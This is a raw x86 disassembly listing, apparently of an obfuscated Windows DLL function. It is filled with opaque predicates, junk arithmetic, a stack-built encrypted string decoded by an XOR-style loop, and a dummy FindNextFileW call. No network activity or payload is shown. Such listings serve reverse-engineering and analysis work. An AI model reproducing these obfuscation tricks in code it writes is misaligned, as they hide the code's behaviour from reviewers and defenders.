cmp eax, 0xc2c6f739
jb 0x10041ab5
mov dword [ebp - 0x61c], 1
jmp 0x10041abc
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x86c]
add eax, dword [ebp - 0x61c]
sub eax, dword [ebp - 0x1ec]
cmp eax, 0x67d5b44
jle 0x10041ae1
mov dword [ebp - 0x454], 1
jmp 0x10041ae8
and dword [ebp - 0x454], 0
cmp dword [ebp - 0x454], 0x2fe2ccf5
jge 0x10041b00
mov dword [ebp - 0x704], 1
jmp 0x10041b07
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x704]
add eax, 0xa39b
neg eax
sub eax, 0xffff
cmp eax, dword [ebp - 0x45c]
jg 0x10041b2d
mov dword [ebp - 0x624], 1
jmp 0x10041b34
and dword [ebp - 0x624], 0
cmp dword [ebp - 0x624], 0xffffffff
je 0x10041b4e
xor eax, eax
inc eax
je 0x10041b4e
mov dword [ebp - 0x954], 1
jmp 0x10041b55
and dword [ebp - 0x954], 0
mov dword [ebp - 0x464], 0xfffffff8
mov eax, dword [ebp - 0x464]
mov dword [ebp - 0xb18], eax
mov eax, dword [ebp - 0x47c]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0xa44]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xa44]
jge 0x10041b9a
mov dword [ebp - 0x2d4], 1
jmp 0x10041ba1
and dword [ebp - 0x2d4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2d4]
mov dword [ebp + eax - 0xc8c], ecx
cmp dword [ebp - 0x2d4], 0
je 0x10041bd2
mov eax, 0x264a
test eax, eax
je 0x10041bd2
mov dword [ebp - 0x788], 1
jmp 0x10041bd9
and dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x70c]
cmp dword [ebp - 0x788], eax
jle 0x10041bf3
mov dword [ebp - 0x46c], 1
jmp 0x10041bfa
and dword [ebp - 0x46c], 0
cmp dword [ebp - 0x46c], 0xffff
jb 0x10041c1f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa44], 0
jne 0x10041c1f
and dword [ebp - 0x62c], 0
jmp 0x10041c29
mov dword [ebp - 0x62c], 1
mov eax, dword [ebp - 0x62c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xa44]
je 0x10041c4b
mov dword [ebp - 0x474], 1
jmp 0x10041c52
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0x474]
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x1ec]
imul eax, dword [ebp - 0x70c]
imul eax, eax, 0x5b6e
mov dword [ebp - 0x47c], eax
mov byte [ebp - 0x188], 0
mov byte [ebp - 0x187], 0x7a
mov byte [ebp - 0x186], 9
mov byte [ebp - 0x185], 0x23
mov byte [ebp - 0x184], 0xda
mov byte [ebp - 0x183], 0xa1
mov byte [ebp - 0x182], 0x4c
mov byte [ebp - 0x181], 0x41
mov byte [ebp - 0x180], 0xea
mov byte [ebp - 0x17f], 0xca
mov byte [ebp - 0x17e], 0x7a
mov byte [ebp - 0x17d], 0x8c
mov byte [ebp - 0x17c], 6
mov byte [ebp - 0x17b], 0
mov byte [ebp - 0x17a], 2
mov byte [ebp - 0x179], 6
mov byte [ebp - 0x178], 7
mov byte [ebp - 0x177], 1
mov byte [ebp - 0x176], 8
mov byte [ebp - 0x175], 6
mov byte [ebp - 0x174], 1
mov byte [ebp - 0x173], 5
mov byte [ebp - 0x172], 9
mov byte [ebp - 0x171], 5
mov byte [ebp - 0x170], 3
mov byte [ebp - 0x16f], 7
mov byte [ebp - 0x16e], 4
mov byte [ebp - 0x16d], 0xf
mov byte [ebp - 0x16c], 5
mov byte [ebp - 0x16b], 9
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x188]
or eax, 0x4b
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x188]
and ecx, 0x4b
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x188]
mov byte [ebp + ecx - 0x7fc], al
mov dword [ebp - 0x30], 2
and dword [ebp - 0x260], 0
jmp 0x10041d9a
mov eax, dword [ebp - 0x30]
inc eax
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x1e
jae 0x10041e50
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x188]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x30], eax
jne 0x10041de4
mov eax, dword [ebp - 0x30]
movzx eax, byte [ebp + eax - 0x188]
inc eax
mov dword [ebp - 0x260], eax
mov eax, dword [ebp - 0x30]
movzx eax, byte [ebp + eax - 0x188]
mov ecx, dword [ebp - 0x30]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x30], eax
jmp 0x10041d92
mov eax, dword [ebp - 0x30]
movzx eax, byte [ebp + eax - 0x187]
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x260]
movzx ecx, byte [ebp + ecx - 0x18a]
movsx ecx, byte [ebp + ecx - 0x7fc]
or eax, ecx
mov ecx, dword [ebp - 0x30]
movzx ecx, byte [ebp + ecx - 0x187]
mov edx, dword [ebp - 0x30]
sub edx, dword [ebp - 0x260]
movzx edx, byte [ebp + edx - 0x18a]
movsx edx, byte [ebp + edx - 0x7fc]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x30]
movzx ecx, byte [ebp + ecx - 0x188]
mov byte [ebp + ecx - 0x7fc], al
and dword [ebp - 0x260], 0
jmp 0x10041d92
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x7fc], 0
mov dword [ebp - 0x7d8], 0x928c176b
mov dword [ebp - 0x7d4], 0x928c176b
mov dword [ebp - 0x7d0], 0x928c176b
mov dword [ebp - 0x7cc], 0x928c176b
mov dword [ebp - 0x80], 3
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0x314], 0xffffffff
mov dword [ebp - 0x240], 4
mov dword [ebp - 0x964], 0xa880e1b4
mov dword [ebp - 0x1f4], 0
jmp 0x10041ece
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 3
jge 0x10041eea
mov eax, dword [ebp - 0x1f4]
mov dword [ebp + eax*4 - 0x838], 1
jmp 0x10041ec1
mov dword [ebp - 0x80], 0
jmp 0x10041efa
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 3
jg 0x10041f11
mov eax, dword [ebp - 0x80]
cmp dword [ebp + eax*4 - 0x7d8], 0
je 0x10041f0f
jmp 0x10041f11
jmp 0x10041ef3
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x80]
cmp dword [ebp + eax - 0x7d8], ecx
jne 0x10041f2f
mov dword [ebp - 0x48c], 1
jmp 0x10041f36
and dword [ebp - 0x48c], 0
cmp dword [ebp - 0x80], 0
jne 0x10041f48
mov dword [ebp - 0x9dc], 1
jmp 0x10041f4f
and dword [ebp - 0x9dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7d8]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xb20], eax
cmp dword [ebp - 0xe0], 0
jne 0x10041f89
cmp dword [ebp - 0xe0], 0
jne 0x10041f89
and dword [ebp - 0x634], 0
jmp 0x10041f93
mov dword [ebp - 0x634], 1
mov eax, dword [ebp - 0x634]
mov dword [ebp - 0x314], eax
mov eax, dword [ebp - 0x314]
push 4
pop ecx
imul ecx, ecx, 3
imul eax, dword [ebp + ecx - 0x7d8]
cmp eax, 0xfffffffa
jne 0x10041fc8
push 4
pop eax
test eax, eax
jne 0x10041fc8
and dword [ebp - 0x484], 0
jmp 0x10041fd2
mov dword [ebp - 0x484], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7d8]
cmp dword [ebp - 0x484], eax
jle 0x10041ff3
mov dword [ebp - 0x790], 1
jmp 0x10041ffa
and dword [ebp - 0x790], 0
cmp dword [ebp - 0x790], 0xffff
ja 0x10042012
mov dword [ebp - 0x87c], 1
jmp 0x10042019
and dword [ebp - 0x87c], 0
mov eax, dword [ebp - 0x240]
mov dword [ebp - 0xb28], eax
imul eax, dword [ebp - 0x240], 0xffff
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x7d8]
jle 0x10042049
mov dword [ebp - 0x63c], 1
jmp 0x10042050
and dword [ebp - 0x63c], 0
mov eax, dword [ebp - 0x48c]
cmp eax, dword [ebp - 0x63c]
jle 0x1004206a
mov dword [ebp - 0x494], 1
jmp 0x10042071
and dword [ebp - 0x494], 0
cmp dword [ebp - 0x494], 0xffffffff
jb 0x10042086
mov dword [ebp - 0x714], 1
jmp 0x1004208d
and dword [ebp - 0x714], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7d8]
cmp dword [ebp - 0x714], eax
jne 0x100420b7
cmp dword [ebp - 0xe0], 0
je 0x100420b7
mov dword [ebp - 0x49c], 1
jmp 0x100420be
and dword [ebp - 0x49c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x838]
cmp dword [ebp - 0x49c], eax
jle 0x100420de
mov dword [ebp - 0x644], 1
jmp 0x100420e5
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0x240]
cmp dword [ebp - 0x644], eax
jne 0x100420ff
mov dword [ebp - 0x95c], 1
jmp 0x10042106
and dword [ebp - 0x95c], 0
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xb30], eax
mov eax, dword [ebp - 0x240]
mov dword [ebp - 0xb38], eax
cmp dword [ebp - 0x314], 0xe24b13b1
jne 0x10042133
mov dword [ebp - 0x4a4], 1
jmp 0x1004213a
and dword [ebp - 0x4a4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x838]
cmp dword [ebp - 0x4a4], eax
jl 0x1004215a
mov dword [ebp - 0x7a8], 1
jmp 0x10042161
and dword [ebp - 0x7a8], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x7a8]
sub ecx, dword [ebp + eax - 0x838]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0x838]
je 0x1004239b
mov dword [ebp - 0x1fc], 0x6dcb
mov dword [ebp - 0x884], 0
mov dword [ebp - 0x9d8], 0xffffffff
mov dword [ebp - 0x88c], 0xcbc59a62
mov dword [ebp - 0xa4], 0
jmp 0x100421c7
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 3
jge 0x100421e3
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0xb80], 0xfffffffa
jmp 0x100421ba
mov dword [ebp - 0xa4], 0
jmp 0x100421fc
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 2
jge 0x10042218
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0xaa0], 3
jmp 0x100421ef
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x838]
mov dword [ebp - 0xb40], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1fc]
mov dword [ebp + eax - 0xb80], ecx
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x1fc], eax
jge 0x10042253
mov dword [ebp - 0x4ac], 1
jmp 0x1004225a
and dword [ebp - 0x4ac], 0
mov eax, dword [ebp - 0x4ac]
sub eax, dword [ebp - 0xe0]
jne 0x1004227a
cmp dword [ebp - 0x884], 0
jne 0x1004227a
and dword [ebp - 0x64c], 0
jmp 0x10042284
mov dword [ebp - 0x64c], 1
mov eax, dword [ebp - 0x64c]
add eax, 4
je 0x100422a4
cmp dword [ebp - 0x9d8], 0
je 0x100422a4
mov dword [ebp - 0x4b4], 1
jmp 0x100422ab
and dword [ebp - 0x4b4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb80]
mov ecx, dword [ebp - 0xe0]
imul ecx, dword [ebp - 0x4b4]
imul eax, ecx
test eax, eax
je 0x100422e0
mov eax, 0x194e4064
test eax, eax
je 0x100422e0
mov dword [ebp - 0x71c], 1
jmp 0x100422e7
and dword [ebp - 0x71c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x838]
add eax, dword [ebp - 0x71c]
cmp eax, 0xe5e2
jne 0x1004230c
mov dword [ebp - 0x4bc], 1
jmp 0x10042313
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x1fc]
cmp eax, dword [ebp - 0x4bc]
jle 0x1004232d
mov dword [ebp - 0x2dc], 1
jmp 0x10042334
and dword [ebp - 0x2dc], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2dc]
mov dword [ebp + eax - 0xaa0], ecx
mov eax, dword [ebp - 0x1fc]
cmp dword [ebp - 0x2dc], eax
jl 0x10042361
mov byte [ebp - 0xe1], 0
movzx eax, byte [ebp - 0xe1]
test eax, eax
je 0x100423b7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea eax, [ebp - 0x7fc]
push eax
lea ecx, [ebp - 0xd8c]
call fcn.1002435d
mov dword [ebp - 0x894], eax
mov eax, dword [ebp - 0x894]
mov dword [ebp - 0x97c], eax
and dword [ebp - 4], 0
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x97c]
call fcn.1002e4f5
pop ecx
mov dword [ebp - 0x8c4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd8c]
call fcn.1001748b
mov dword [ebp - 0xb8], 0xfffffff6
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xac], 0x90d29729
mov dword [ebp - 0x334], 8
mov dword [ebp - 0x50], 6
mov dword [ebp - 0x204], 0xd21dd8e1
mov dword [ebp - 0x2e4], 8
mov dword [ebp - 0x8a4], 0xffffffff
mov dword [ebp - 0x2ec], 0x9c83bdee
mov dword [ebp - 0x8ac], 0xa6f4
mov dword [ebp - 0x200], 0
jmp 0x1004247e
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 4
jge 0x1004249a
mov eax, dword [ebp - 0x200]
mov dword [ebp + eax*4 - 0x848], 0x1dfd9475
jmp 0x10042471
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x848]
inc eax
mov dword [ebp - 0x89c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x89c]
mov dword [ebp + eax - 0x848], ecx
mov eax, dword [ebp - 0x334]
mov dword [ebp - 0xb48], eax
mov eax, dword [ebp - 0x334]
dec eax
mov dword [ebp - 0x334], eax
mov eax, 0x35b2
test eax, eax
jne 0x100424ef
mov dword [ebp - 0x4c4], 1
jmp 0x100424f6
and dword [ebp - 0x4c4], 0
cmp dword [ebp - 0x4c4], 3
jne 0x1004250b
mov dword [ebp - 0x4e4], 1
jmp 0x10042512
and dword [ebp - 0x4e4], 0
mov dword [ebp - 0xe8], 0x7ef23e46
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0xe8], eax
jle 0x10042533
mov dword [ebp - 0x784], 1
jmp 0x1004253a
and dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0xb50], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xb58], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xb60], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xbbc], eax
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0xac], eax
jge 0x10042587
mov dword [ebp - 0x4cc], 1
jmp 0x1004258e
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x4cc], eax
jl 0x100425a8
mov dword [ebp - 0x65c], 1
jmp 0x100425af
and dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x65c]
jge 0x100425c6
mov dword [ebp - 0x4d4], 1
jmp 0x100425cd
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x4d4]
sub eax, 0x63b8
imul eax, eax, 0x1692
add eax, 0x1990
cmp eax, 0x4c46
jne 0x100425f6
mov dword [ebp - 0x724], 1
jmp 0x100425fd
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x724]
cmp eax, 2
jbe 0x10042617
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x918], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x920], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x928], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x930], eax
mov eax, dword [ebp - 0x918]
mov dword [ebp - 0x950], eax
mov eax, dword [ebp - 0x920]
mov dword [ebp - 0x948], eax
mov eax, dword [ebp - 0x928]
mov dword [ebp - 0x938], eax
mov eax, dword [ebp - 0x930]
mov dword [ebp - 0x940], eax
mov eax, dword [ebp - 0x938]
imul eax, dword [eax], 0x4a7d
mov ecx, dword [ebp - 0x940]
cmp eax, dword [ecx]
jl 0x1004643c
mov dword [ebp - 0x328], 1
jmp 0x10046443
and dword [ebp - 0x328], 0
mov eax, dword [ebp - 0x948]
mov ecx, dword [ebp - 0x328]
mov dword [eax], ecx
mov eax, dword [ebp - 0x950]
mov ecx, dword [ebp - 0x328]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret